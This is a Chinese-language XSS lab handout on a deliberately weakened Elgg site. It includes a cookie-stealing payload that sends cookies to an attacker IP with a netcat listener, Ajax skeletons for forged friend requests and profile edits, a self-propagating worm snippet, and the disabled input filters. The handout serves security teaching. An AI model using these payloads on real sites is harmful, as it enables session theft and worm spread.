Section outline

  • Elgg 应用程序。在这个实验中,我们使用一个开源 web 应用程序 Elgg。Elgg 是一个基于网络的社交网络应用程序,并且已经设置在提供的容器镜像中。我们使用两个容器:一个是运行 web 服务器 (10.9.0.5),另一个是运行 MySQL 数据库 (10.9.0.6)。这两个容器的 IP 地址已经用在了配置中,因此请不要在 docker-compose.yml 文件中改变它们。
     
    DNS 配置。实验环境中 Elgg 的网站的URL 是 http://www.seed-server.com,我们需要把网站名 www.seed-server.com 映射到IP 地址 10.9.0.5。请在 /etc/hosts 中添加以下条目,你需要使用 root 权限来修改这个文件:
    10.9.0.5        www.seed-server.com
     
    用户账户。我们在 Elgg 服务器上创建了几个用户账户,用户名和密码如下所示:
    ----------------------------
    用户名     |   登录密码
    ----------------------------
    admin     |  seedelgg
    alice     |  seedalice
    boby      |  seedboby
    charlie   |  seedcharlie
    samy      |  seedsamy
    ----------------------------

    MySQL 数据库。容器通常是一次性的,因此一旦销毁,容器内的所有数据都会丢失。对于本实验,我们确实希望将数据保留在 MySQL 数据库中,这样在关闭容器时就不会丢失数据。为了实现这一点,我们将主机上的 mysql_data 文件夹挂载到 MySQL 容器内的 /var/lib/mysql 文件夹(此文件夹是 MySQL 存储数据库的地方)。因此,即使容器被销毁,数据库中的数据仍会保留。这个 mysql_data 文件夹在 Labsetup 内,它将在 MySQL 容器第一次运行后创建。如果您确实想从空的数据库开始,可以删除此文件夹:
    $ sudo rm -rf mysql_data
  • 本任务的目标是在你的 Elgg 个人资料中嵌入一个 JavaScript 程序,使得当其他用户查看你的个人资料时,JavaScript 程序会被执行,在屏幕上弹出一个警告窗口。以下的 JavaScript 程序会显示一个警告窗口:
    <script>alert('XSS');</script>
    如果你在个人资料中(例如简短描述字段)嵌入了上述 JavaScript 代码,那么任何查看你资料的人都会在屏幕上看到警告窗口。

    在上面的例子里,JavaScript 代码很短,可以直接放在简短描述字段。如果你想运行一个较长的 JavaScript 程序,但受限字段长度的限制,你可以将该程序放在一个网站,然后通过 src 属性装载它。以下是一个例子:
    <script type="text/javascript"
            src="http://www.example.com/myscripts.js">
    </script>
    在这个例子中,页面将从 http://www.example.com 获取 JavaScript 程序,这可以是任何 web 服务器。
  • 本任务的目标是在你的 Elgg 资料中嵌入一个 JavaScript 程序,使得当其他用户查看你的个人资料时,会在警告窗口中显示该用户的 cookie。这可以在上一步程序的基础上添加一些额外的代码来实现:
    <script>alert(document.cookie);</script>
  • 在前一个任务中,攻击者编写的恶意 JavaScript 程序可以打印出用户的 cookie,但只有用户能看见这些 cookie,而攻击者不能。在本任务中,攻击者希望将这些 cookie 发送到自己那里。为此,恶意 JavaScript 需要向攻击者的机器发送一个 HTTP 请求,并在请求中附带 cookie。

    我们可以让恶意 JavaScript 在网页中插入一个 <img> 标签来实现这一点,其 src 属性设置为攻击者的机器地址。当 JavaScript 插入 img 标签时,浏览器会从 src 字段中指定的 URL 那里下载图像。这会产生一个 HTTP GET 请求,发送到攻击者机器。以下给出的 JavaScript 会往攻击者的机器(IP 地址 10.9.0.1)上的端口 5555 处发送 cookie,而那里运行着一个 TCP 服务器。
    <script>document.write('<img src=http://10.9.0.1:5555?c='
                           + escape(document.cookie) + '   >');
    </script>

    Netcat(或 nc)是攻击者常用的一个工具。运行带有 -l 选项时,它会变成一个监听指定端口的 TCP 服务器。这个服务器会打印出客户端发来的信息,并将用户输入的内容发回给客户端。以下的命令监听端口 5555 :
    $ nc -lknv 5555
    选项 -l 指定 nc 运行一个服务器;选项 -n 使 nc 不对地址做 DNS 解析;选项 -v 使 nc 输出更详细的信息;选项 -k 表示当一次连接完成后,继续等待其他连接。
  • 在这个任务和下一个任务中,我们将执行类似于 Samy 在 2005 年对 MySpace 所做的攻击(即 Samy 蠕虫)。我们将编写一个 XSS 蠕虫,使得任何访问 Samy 页面的用户都会自动将 Samy 添加为好友。这个蠕虫先不会自我传播,在后面的任务中,我们会实现自我传播。

    在这个任务中,我们需要编写一个恶意 JavaScript 程序,直接从受害者的浏览器发出“添加好友”的 HTTP 请求,从而将 Samy 添加为受害者的好友。我们已经在 Elgg 服务器上创建了一个名为 Samy 的用户(用户名为 samy)。

    要为受害者添加朋友,首先需要弄清楚在 Elgg 中用户是如何合法添加好友的。更具体地说,我们需要知道当用户添加好友时都发送了什么信息到服务器。我们可以使用 Firefox 的 HTTP 检查工具来获取这些信息,它可以显示浏览器发送的任何 HTTP 请求的内容。从内容中我们可以识别出请求中的所有参数。

    了解了添加好友时的 HTTP 请求后,我们可以通过编写一个 JavaScript 程序来发出相同的 HTTP 请求。我们提供了一个 JavaScript 代码框架。
    <script type="text/javascript">
    window.onload = function () {
      var Ajax=null;
    
      var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;          🅰
      var token="&__elgg_token="+elgg.security.token.__elgg_token; 🅱
    
      // 构建添加 Samy 为好友的 HTTP 请求。
      var sendurl=...;  //FILL IN
    
      // 创建并发送 Ajax 请求,以添加好友
      Ajax=new XMLHttpRequest();
      Ajax.open("GET", sendurl, true);
      Ajax.send();
    }
    </script>
    上述代码应放置在 Samy 个人资料(profile)页面的 "About Me" 字段中。这个字段提供了两种编辑模式:编辑器模式(默认)和文本模式。使用编辑器模式时,编辑器会在输入的文本中添加额外的 HTML 代码,而使用文本模式时不会。我们不想向攻击代码添加任何额外的字符,因此我们需要选择文本模式。点击位于 "About Me" 字段顶部右侧的 "Edit HTML" 进入文本模式。

    问题。 请回答以下问题:
    • 问题1: 解释第 🅰 行和第 🅱 行的目的,为什么它们是必要的?
    • 问题2: 如果 Elgg 应用程序仅提供编辑器模式,即你无法切换到文本模式,你能成功发起攻击吗?
     

  • 本任务的目标是在受害者访问 Samy 页面时修改其资料。具体来说,要修改  "About Me" 字段的内容。我们将编写一个 XSS 蠕虫来完成此任务。这个蠕虫不具有自我传播能力。在任务 6 中,我们会加上自我传播的能力。

    和前一个任务类似,我们需要编写一个恶意的 JavaScript 程序,直接从受害者的浏览器发起 HTTP 请求。我们首先需要了解合法用户是如何编辑或修改其个人资料的。具体来说,我们需要弄清楚构造修改用户资料的 HTTP POST 请求的方式。我们将使用 Firefox 的 HTTP 检查工具。一旦理解了修改个人资料的 HTTP POST 请求的格式,我们就可以编写一个 JavaScript 程序来发出相同的HTTP请求。我们提供了一个 JavaScript 代码框架。
    <script type="text/javascript">
    window.onload = function(){
      // 获取 user name, user guid, Time Stamp __elgg_ts,和 Security Token __elgg_token
      var userName="&name="+elgg.session.user.name;
      var guid="&guid="+elgg.session.user.guid;
      var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
      var token="&__elgg_token="+elgg.security.token.__elgg_token;
    
      //构造URL的内容
      var content=...;     // 填空
      var samyGuid=...;    // 填空
      var sendurl=...;     // 填空
    
      if(elgg.session.user.guid!=samyGuid)           🅰
      {
         // 创建并发送AJAX请求,以修改个人资料
         var Ajax=null;
         Ajax=new XMLHttpRequest();
         Ajax.open("POST", sendurl, true);
         Ajax.setRequestHeader("Content-Type",  "application/x-www-form-urlencoded");
         Ajax.send(content);
      }
    }
    </script>
    类似于任务 4,上述代码应放置在 Samy 的个人资料页面的  "About Me" 字段中,并且在输入上述 JavaScript 代码之前需要转换到文本模式。

    问题。 请回答以下问题:
    • 问题3:为什么我们需要第 🅰 行?删除该行后再做攻击,报告并解释观察结果。
  • 要成为真正的蠕虫,恶意 JavaScript 程序应该能够自动传播。每当一个用户查看受感染者的个人资料时,不仅这个用户的个人资料会被修改,蠕虫程序还会拷贝到该用户的个人资料中,使得这个用户也成为了蠕虫的携带者。这样,查看受感染个人资料的人越多,蠕虫传播得就越快。这与 Samy 蠕虫的机制相同:在 2005 年 10 月 4 日发布后的 20 小时内,超过一百万用户受到影响,使 Samy 成为当时历史上传播速度最快的病毒之一。

    能够实现这一功能的 JavaScript 代码被称为"自我传播跨站脚本攻击蠕虫" 。在这个任务中,你需要实现这样一个蠕虫,它不仅会修改受害者的个人资料,并将用户 Samy 添加为受害者好友,还会将自身复制到受害者的个人资料中,使受害者变成一个攻击者。

    为了实现自我传播,在恶意 JavaScript 程序修改受害者个人资料时应该将其自身复制到受害者的个人资料中。有几种方法可以实现这一点,我们讨论其中两种常见的方法。

    链接方法: 如果蠕虫是通过 <script> 标签的 src 属性来下载的,那么编写自我传播蠕虫会容易得多。我们已在任务1中讨论了 src 属性,并给出了一个例子。蠕虫可以简单地将以下 <script> 标签复制到受害者的个人资料中就可以了。
    <script type="text/javascript" src="http://www.example.com/xss_worm.js">
    </script>

    DOM方法:如果整个JavaScript程序(即蠕虫)被嵌入在受感染的个人资料中,为了传播蠕虫到另一个个人资料,蠕虫代码可以使用 DOM API 从网页中找到其自身的代码。下面给出一个使用 DOM API 的例子。这段代码会获取自身代码的一个副本,并在警告窗口中显示它:
    <script id="worm">
       var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; 🅰
       var jsCode = document.getElementById("worm").innerHTML;          🅱
       var tailTag = "</" + "script>";                                  🅲
       
       var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); 🅳
         
       alert(jsCode);
    </script>
    需要注意的是,第 🅱 行仅提供代码的内部部分,并未包含周围的 <script> 标签。我们只需要添加开始标签 <script id="worm">(行 🅰)和结束标签 </script>(行 🅲),以形成一个完整的恶意代码副本。

    当 HTTP POST 请求里的 Content-Type 被设置为 application/x-www-form-urlencoded 时, 数据也应进行编码。编码方案称为 URL encoding,它将数据中的非字母数字字符替换为百分号和两位十六进制数字表示的 ASCII 码。行 🅳 中的 encodeURIComponent() 函数用于对字符串进行 URL 编码。

    注意事项: 在本次实验中,你可以尝试使用链接方法和 DOM 方法两种方式,但 DOM 方法是必须做的,因为它更具挑战性且不依赖于外部 JavaScript 代码。
  • 这部分的内容仅供参考,并无特定任务。它展示了 Elgg 如何防御 XSS 攻击。Elgg 确实有内置的防范措施,但我们已经关掉了这些措施以便攻击成功。Elgg 使用了两种防范措施。一个是安全插件 HTMLawed,它可以验证用户输入并从中删除危险的内容。我们已经在 input.php 文件中的 filter_tags() 函数内部注释掉了对插件的调用,该文件位于 vendor/elgg/elgg/engine/lib/ 目录下。请参见以下内容:
    function filter_tags($var) {
       // return elgg_trigger_plugin_hook('validate', 'input', null, $var);
       return $var;
    }

    除了 HTMLawed,Elgg 还使用了 PHP 内置的 htmlspecialchars() 来对用户输入中的特殊字符进行编码。例如,将 "<" 变成 "&lt", ">" 变成 "&gt" 等。这种方法在 dropdown.php, text.php 和 url.php 文件中被调用(这些文件位于 vendor/elgg/elgg/views/default/output/ 目录下)。我们注释掉了它们,以关闭防范措施。
     
    抵御 XSS 攻击的更通用的方法是使用内容安全策略(CSP,Content Security Policy)。关于 CSP,我们有一个专门的实验。